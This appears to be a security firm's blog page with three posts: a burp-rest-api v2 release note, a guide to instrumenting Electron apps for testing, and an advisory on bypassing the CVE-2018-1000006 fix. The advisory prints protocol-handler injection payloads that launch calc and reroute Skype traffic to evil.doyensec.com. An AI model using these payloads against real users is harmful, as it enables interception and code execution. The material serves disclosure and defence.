Introducing burp-rest-api v2

Since the first commit back in 2016, burp-rest-api has been the default tool for BurpSuite-powered web scanning automation. Many security professionals and organizations have relied on this extension to orchestrate the work of Burp Spider and Scanner.

Today, we’re proud to announce a new major release of the tool: burp-rest-api v2.0.1

Starting in June 2018, Doyensec joined VMware in the development and support of the growing burp-rest-api community. After several years of experience in big tech companies and startups, we understand the need for security automation to improve efficacy and efficiency during software security activities. Unfortunately internal security tools are rarely open-sourced, and still, too many companies are reinventing the wheel. We believe that working together on foundational components, such as burp-rest-api, represents the future of security automation as it empowers companies of any size to build customized solutions.

After a few weeks of work, we cleaned up all the open issues and brought burp-rest-api to its next phase. In this blog post, we would like to summarize some of the improvements.

Releases

You can now download the latest version of burp-rest-api from https://github.com/vmware/burp-rest-api/releases in a precompiled release build. While this may not sound like a big deal, it’s actually the result of a major change in the plugin bootstrap mechanism. Until now, burp-rest-api was strictly dependent on the original Burp Suite JAR to be compiled, hence we weren’t able to create stable releases due to licensing. By re-engineering the way burp-rest-api starts, it is now possible to build the extension without even having burpsuite_pro.jar.

git clone git@github.com:vmware/burp-rest-api.git
cd burp-rest-api
./gradlew clean build

Once built, you can now execute Burp with the burp-rest-api extension using the following command:

java -jar burp-rest-api-2.0.0.jar --burp.jar=./lib/burpsuite_pro.jar

Burp Extensions and BAppStore

Many users have asked for the ability to load additional extensions while running Burp with burp-rest-api. Thanks to a new bootstrap mechanism, burp-rest-api is loaded as a 2nd generation extension which makes it possible to load both custom and BAppStore extensions written in any of the supported programming languages.

Moreover, the tool allows loading extensions during application startup using the flag --burp.ext=<filename.{jar,rb,py}>.

In order to implement this, we employed a classloading technique with a dummy entry point (BurpExtender.java) that loads the legacy Burp extension (LegacyBurpExtension.java) after the full Burp Suite has been loaded and launched (BurpService.java).

Bug Fixes and Improvements

In this release, we have also focused our efforts on a massive issues house-cleaning:

  • Better documentation and even a FAQs page
  • Burp Spider status API
  • Burp Configuration with configPath selection API
  • Enabled SpringBoot compression
  • Ability to customize the binding address:port for both Burp Proxy and burp-rest-api APIs via command line arguments
  • …and much more

Help Us Shape The Future of burp-rest-api

With the release of Burp Suite Professional 2.0 (beta), Burp includes a native Rest API.

While the current functionalities are very limited, this is certainly going to change.

In the initial release, the REST API supports launching vulnerability scans and obtaining the results. Over time, additional functions will be added to the REST API.

It’s great that Burp users will finally benefit from a native Rest API, however this new feature makes us wonder about the future for this project.

Let us know how burp-rest-api can still provide value, and which directions the project could take. Comment on this Github Issue or tweet to our @Doyensec account.

Thank you for the support,

Luca Carettoni & Andrea Brancaleoni


Instrumenting Electron Apps for Security Testing

Instrumenting Electron-based applications

With the increasing popularity of the Electron Framework, we have created this post to summarize a few techniques which can be used to instrument an Electron-based application, change its behavior, and perform in-depth security assessments.

Electron and processes

The Electron Framework is used to develop multi-platform desktop applications with nothing more than HTML, JavaScript and CSS. It has two core components: Node.js and the libchromiumcontent module from the Chromium project.

In Electron, the main process is the process that runs package.json’s main script. This component has access to Node.js primitives and is responsible for starting other processes. Chromium is used for displaying web pages, which are rendered in separate processes called renderer processes.

Unlike regular browsers where web pages run in a sandboxed environment and do not have access to native system resources, Electron renderers have access to Node.js primitives and allow lower level integration with the underlying operating system. Electron exposes full access to native Node.js APIs, but it also facilitates the use of external Node.js NPM modules.

As you might have guessed from recent public security vulnerabilities, the security implications are substantial since JavaScript code can access the filesystem, user shell, and many more primitives. The inherent security risks increase with the additional power granted to application code. For instance, displaying arbitrary content from untrusted sources inside a non-isolated renderer is a severe security risk. You can read more about Electron Security, hardening and vulnerabilities prevention in the official Security Recommendations document.

Unpacking the ASAR archive

The first thing to do to inspect the source code of an Electron-based application is to unpack the application bundle (.asar file). ASAR archives are a simple tar-like format that concatenates files into a single one.

First locate the main ASAR archive of our app, usually named core.asar or app.asar.

Once we have this file we can proceed with installing the asar utility: npm install -g asar

and extract the whole archive: asar extract core.asar destinationfolder

At its simplest version, an Electron application includes three files: index.js, index.html and package.json.

Our first target to inspect is the package.json file, as it holds the path of the file responsible for the “entry point” of our application:

{
  "name": "Example App",
  "description": "Core App",
  "main": "app/index.js",
  "private": true,
}

In our example the entry point is the file called index.js located within the app folder, which will be executed as the main process. If not specified, index.js is the default main file. The file index.html and other web resources are used in renderer processes to display actual content to the user. A new renderer process is created for every browserWindow instantiated in the main process.

In order to be able to follow functions and methods in our favorite IDE, it is recommended to resolve the dependencies of our app:

npm install

We should also install Devtron, a tool (built on top of the Chrome Developer Tools) to inspect, monitor and debug our Electron app. For Devtron to work, NodeIntegration must be on.

npm install --save-dev devtron

Then, run the following from the Console tab of the Developer Tools

require('devtron').install()

Dealing with obfuscated javascript

Whenever the application is neither minimized nor obfuscated, we can easily inspect the code.

'use strict';

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.startup = startup;
exports.handleSingleInstance = handleSingleInstance;
exports.setMainWindowVisible = setMainWindowVisible;

var _require = require('electron'),
    Menu = _require.Menu;

var mainScreen = void 0;
function startup(bootstrapModules) {
[ -- cut -- ]

In case of obfuscation, there are no silver bullets to unfold heavily manipulated javascript code. In these situations, a combination of automatic tools and manual reverse engineering is required to get back to the original source.

Take this horrendous piece of JS as an example:

eval(function(c,d,e,f,g,h){g=function(i){return(i<d?'':g(parseInt(i/d)))+((i=i%d)>0x23?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](i+0x1d):i['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x24));};while(e--){if(f[e]){c=c['\x72\x65\x70\x6c\x61\x63\x65'](new RegExp('\x5c\x62'+g(e)+'\x5c\x62','\x67'),f[e]);}}return c;}('\x62\x20\x35\x3d\x5b\x22\x5c\x6f\x5c\x38\x5c\x70\x5c\x73\x5c\x34\x5c\x63\x5c\x63\x5c\x37\x22\x2c\x22\x5c\x72\x5c\x34\x5c\x64\x5c\x74\x5c\x37\x5c\x67\x5c\x6d\x5c\x64\x22\x2c\x22\x5c\x75\x5c\x34\x5c\x66\x5c\x66\x5c\x38\x5c\x71\x5c\x34\x5c\x36\x5c\x6c\x5c\x36\x22\x2c\x22\x5c\x6e\x5c\x37\x5c\x67\x5c\x36\x5c\x38\x5c\x77\x5c\x34\x5c\x36\x5c\x42\x5c\x34\x5c\x63\x5c\x43\x5c\x37\x5c\x76\x5c\x34\x5c\x41\x22\x5d\x3b\x39\x20\x6b\x28\x65\x29\x7b\x62\x20\x61\x3d\x30\x3b\x6a\x5b\x35\x5b\x30\x5d\x5d\x3d\x39\x28\x68\x29\x7b\x61\x2b\x2b\x3b\x78\x28\x65\x2b\x68\x29\x7d\x3b\x6a\x5b\x35\x5b\x31\x5d\x5d\x3d\x39\x28\x29\x7b\x79\x20\x61\x7d\x7d\x62\x20\x69\x3d\x7a\x20\x6b\x28\x35\x5b\x32\x5d\x29\x3b\x69\x2e\x44\x28\x35\x5b\x33\x5d\x29',0x28,0x28,'\x7c\x7c\x7c\x7c\x78\x36\x35\x7c\x5f\x30\x7c\x78\x32\x30\x7c\x78\x36\x46\x7c\x78\x36\x31\x7c\x66\x75\x6e\x63\x74\x69\x6f\x6e\x7c\x5f\x31\x7c\x76\x61\x72\x7c\x78\x36\x43\x7c\x78\x37\x34\x7c\x5f\x32\x7c\x78\x37\x33\x7c\x78\x37\x35\x7c\x5f\x33\x7c\x6f\x62\x6a\x7c\x74\x68\x69\x73\x7c\x4e\x65\x77\x4f\x62\x6a\x65\x63\x74\x7c\x78\x33\x41\x7c\x78\x36\x45\x7c\x78\x35\x39\x7c\x78\x35\x33\x7c\x78\x37\x39\x7c\x78\x36\x37\x7c\x78\x34\x37\x7c\x78\x34\x38\x7c\x78\x34\x33\x7c\x78\x34\x44\x7c\x78\x36\x44\x7c\x78\x37\x32\x7c\x61\x6c\x65\x72\x74\x7c\x72\x65\x74\x75\x72\x6e\x7c\x6e\x65\x77\x7c\x78\x32\x45\x7c\x78\x37\x37\x7c\x78\x36\x33\x7c\x53\x61\x79\x48\x65\x6c\x6c\x6f'['\x73\x70\x6c\x69\x74']('\x7c')));

It can be manually turned into:

eval(function (c, d, e, f, g, h) {
    g = function (i) {
        return (i < d ? '' : g(parseInt(i / d))) + ((i = i % d) > 35 ? String['fromCharCode'](i + 29) : i['toString'](36));
    };
    while (e--) {
        if (f[e]) {
            c = c['replace'](new RegExp('\\b' + g(e) + '\\b', 'g'), f[e]);
        }
    }
    return c;
}('b 5=["\\o\\8\\p\\s\\4\\c\\c\\7","\\r\\4\\d\\t\\7\\g\\m\\d","\\u\\4\\f\\f\\8\\q\\4\\6\\l\\6","\\n\\7\\g\\6\\8\\w\\4\\6\\B\\4\\c\\C\\7\\v\\4\\A"];9 k(e){b a=0;j[5[0]]=9(h){a++;x(e+h)};j[5[1]]=9(){y a}}b i=z k(5[2]);i.D(5[3])', 40, 40, '||||x65|_0|x20|x6F|x61|function|_1|var|x6C|x74|_2|x73|x75|_3|obj|this|NewObject|x3A|x6E|x59|x53|x79|x67|x47|x48|x43|x4D|x6D|x72|alert|return|new|x2E|x77|x63|SayHello'['split']('|')));

Then, it can be passed to JStillery, JS Nice and other similar tools in order to get back a human readable version.

'use strict';
var _0 = ["SayHello", "GetCount", "Message : ", "You are welcome."];
function NewObject(contentsOfMyTextFile) {
  var _1 = 0;
  this[_0[0]] = function(theLibrary) {
    _1++;
    alert(contentsOfMyTextFile + theLibrary);
  };
  this[_0[1]] = function() {
    return _1;
  };
}
var obj = new NewObject(_0[2]);
obj.SayHello(_0[3]);

Enabling the developer tools in the renderer process

During testing, it is particularly important to review all web resources as we would normally do in a standard web application assessment. For this reason, it is highly recommended to enable the Developer Tools in all renderers and <webview> tags.

Electron’s Main process can use the BrowserWindow API to call the BrowserWindow method and instantiate a new renderer.

In the example below, we are creating a new BrowserWindow instance with specific attributes. Additionally, we can insert a new statement to launch the Developer tools:

/app/mainScreen.js

var winOptions = {
    title: 'Example App',
    backgroundColor: '#ffffff',
    width: DEFAULT_WIDTH,
    height: DEFAULT_HEIGHT,
    minWidth: MIN_WIDTH,
    minHeight: MIN_HEIGHT,
    transparent: false,
    frame: false,
    resizable: true,
    show: isVisible,
    webPreferences: {
      nodeIntegration: false,
      preload: _path2.default.join(__dirname, 'preload.js')
    }
  };

[ -- cut -- ]

mainWindow = new _electron.BrowserWindow(winOptions);
  winId = win.id;

//|--> HERE we can hook and add the Developers Tools <--|
win.webContents.openDevTools({ mode: 'bottom' })
win.setMenuBarVisibility(true);

If everything worked fine, we should have the Developers Tools enabled for the main UI screen.

From the main Developer Tool console, we can open additional developer tools windows for other renderers (e.g. webview tags).

window.document.getElementsByTagName("webview")[0].openDevTools()

While reading the code above, have you noticed the webPreference options?

WebPreferences options are basically settings for the renderer process and include things like window size, appearance, colors, security features, etc. Some of these settings are pretty useful for debugging purposes too.

For example, we can make all windows visible by using the show property of WebPreferences:

BrowserWindow({show: true})

Adding debugging statements

During instrumentation, it is useful to include debugging code such as

console.log("\n--------------- Debug --------------------\n")
console.log(process.type)
console.log(process.pid)
console.log(process.argv)
console.log("\n--------------- Debug --------------------\n")

Debugging the main process

Since it is not possible to open the developer tools for the Main Process, debugging this component is a bit trickier. Luckily, Chromium’s Developer Tools can be used to debug Electron’s main process with just a minor adjustment.

The DevTools in an Electron browser window can only debug JavaScript executed in that window (i.e. the web page). To debug JavaScript executed in the main process you will need to leverage the native debugger and launch Electron with the --inspect or --inspect-brk switch.

Use one of the following command line switches to enable debugging of the main process:

–inspect=[port] Electron will listen for V8 inspector protocol messages on the specified port, an external debugger will need to connect on this port. The default port is 5858.

–inspect-brk=[port] Like –inspect but pauses execution on the first line of JavaScript.

Usage: electron --inspect=5858 your-app

You can now connect Chrome by visiting chrome://inspect and analyze the launched Electron app present there.

Intercepting HTTP(s) traffic

Chromium supports system proxy settings on all platforms, so setup a proxy and then add Burp CA as usual.

We can even use the following command line argument if you run the Electron application directly. Please note that this does not work when using the bundled app.

--proxy-server=address:port

Or, programmatically with these lines in the main app:

const {app} = require('electron') 
app.commandLine.appendSwitch('proxy-server', '127.0.0.1:8080')

For Node, use transparent proxying by either changing /etc/hosts or overriding configs:

npm config set proxy http://localhost:8080
npm config set https-proxy http://localhost:8081

In case you need to revert the proxy settings, use:

npm config rm proxy
npm config rm https-proxy

However, you need to disable TLS validation with the following code within the application under testing:

process.env.NODE_TLS_REJECT_UNAUTHORIZED = “0";

Outro

Proper instrumentation is a fundamental step in performing a comprehensive security test. Combining source code review with dynamic testing and client instrumentation, it is possible to analyze every aspect of the target application. These simple techniques allow us to reach edge cases, exercise all code paths and eventually find vulnerabilities.

@voidsec @lucacarettoni

Read more


Electron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)

As part of an engagement for one of our clients, we analyzed the patch for the recent Electron Windows Protocol handler RCE bug (CVE-2018-1000006) and identified a bypass.

Under certain circumstances this bypass leads to session hijacking and remote code execution. The vulnerability is triggered by simply visiting a web page through a browser. Electron apps designed to run on Windows that register themselves as the default handler for a protocol and do not prepend dash-dash in the registry entry are affected.

We reported the issue to the Electron core team (via security@electronjs.org) on May 14, 2018 and received immediate notification that they were already working on a patch. The issue was also reported by Google’s Nicolas Ruff a few days earlier.

CVE-2018-1000006

On January 22, 2018 Electron released a patch for v1.7.11, v1.6.16 and v1.8.2-beta4 for a critical vulnerability known as CVE-2018-1000006 (surprisingly no fancy name here) affecting Electron-based applications running on Windows that register custom protocol handlers.

The original issue was extensively discussed in many blog posts, and can be summarized as the ability to use custom protocol handlers (e.g. myapp://) from a remote web page to piggyback command line arguments and insert a new switch that Electron/Chromium/Node would recognize and execute while launching the application.

<script>
win.location = 'myapp://foobar" --gpu-launcher="cmd c/ start calc" --foobar='
</script>

Interestingly, on January 31, 2018, Electron v1.7.12, v1.6.17 and v1.8.2-beta5 were released. It turned out that the initial patch did not take into account uppercase characters and led to a bypass in the previous patch with:

<script>
win.location = 'myapp://foobar" --GPU-launcher="cmd c/ start calc" --foobar='
</script> 

Understanding the patch

The patch for CVE-2018-1000006 is implemented in electron/atom/app/command_line_args.cc and consists of a validation mechanism which ensures users won’t be able to include Electron/Chromium/Node arguments after a url (the specific protocol handler). Bear in mind some locally executed applications do require the ability to pass custom arguments.

bool CheckCommandLineArguments(int argc, base::CommandLine::CharType** argv) {
  DCHECK(std::is_sorted(std::begin(kBlacklist), std::end(kBlacklist),
                        [](const char* a, const char* b) {
                          return base::StringPiece(a) < base::StringPiece(b);
                        }))
      << "The kBlacklist must be in sorted order";
  DCHECK(std::binary_search(std::begin(kBlacklist), std::end(kBlacklist),
                            base::StringPiece("inspect")))
      << "Remember to add Node command line flags to kBlacklist";

  const base::CommandLine::StringType dashdash(2, '-');
  bool block_blacklisted_args = false;
  for (int i = 0; i < argc; ++i) {
    if (argv[i] == dashdash)
      break;
    if (block_blacklisted_args) {
      if (IsBlacklistedArg(argv[i]))
        return false;
    } else if (IsUrlArg(argv[i])) {
      block_blacklisted_args = true;
    }
  }
  return true;
}

As is commonly seen, blacklist-based validation is prone to errors and omissions especially in complex execution environments like Electron:

  • The patch relies on a static blacklist of available chromium flags. On each libchromiumcontent update the Electron team must remember to update the command_line_args.cc file in order to make sure the blacklist is aligned with the current implementation of Chromium/v8
  • The blacklist is implemented using a binary search. Valid flags could be missed by the check if they’re not properly sorted

Bypass and security implications

We started looking for missed flags and noticed that host-rules was absent from the blacklist. With this flag one may specify a set of rules to rewrite domain names for requests issued by libchroumiumcontent. This immediately stuck out as a good candidate for subverting the process.

In fact, an attacker can exploit this issue by overriding the host definitions in order to perform completely transparent Man-In-The-Middle:

<!doctype html>
<script>
 window.location = 'skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar='
</script>

When a user visits a web page in a browser containing the preceding code, the Skype app will be launched and all Chromium traffic will be forwarded to evil.doyensec.com instead of the original domain. Since the connection is made to the attacker-controlled host, certificate validation does not help as demonstrated in the following video:

We analyzed the impact of this vulnerability on popular Electron-based apps and developed working proof-of-concepts for both MITM and RCE attacks. While the immediate implication is that an attacker can obtain confidential data (e.g. oauth tokens), this issue can be also abused to inject malicious HTML responses containing XSS -> RCE payloads. With nodeIntegration enabled, this is simply achieved by leveraging Node’s APIs. When encountering application sandboxing via nodeIntegration: false or sandbox, it is necessary to chain this with other bugs (e.g. nodeIntegration bypass or IPC abuses).

Please note it is only possible to intercept traffic generated by Chromium, and not Node. For this reason Electron’s update feature, along with other critical functionss, are not affected by this vulnerability.

Future

On May 16, 2018, Electron released a new update containing an improved version of the blacklist for v2.0.1, v1.8.7, and v1.7.15. The team is actively working on a more resilient solution to prevent further bypasses. Considering that the API change may potentially break existing apps, it makes sense to see this security improvement within a major release.

In the meantime, Electron application developers are recommended to enforce a dash-dash notation in setAsDefaultProtocolClient

app.setAsDefaultProtocolClient(protocol, process.execPath, [
  '--your-switches-here',
  '--'
])

or in the Windows protocol handler registry entry

secure Windows protocol handler

As a final remark, we would like to thank the entire Electron team for their work on moving to a secure-by-default framework. Electron contributors are tasked with the non-trivial mission of closing the web-native desktop gap. Modern browsers are enforcing numerous security mechanisms to ensure isolation between sites, facilitate web security protections and prevent untrusted remote content from compromising the security of the host. When working with Electron, things get even more complicated.

@ikkisoft

@day6reak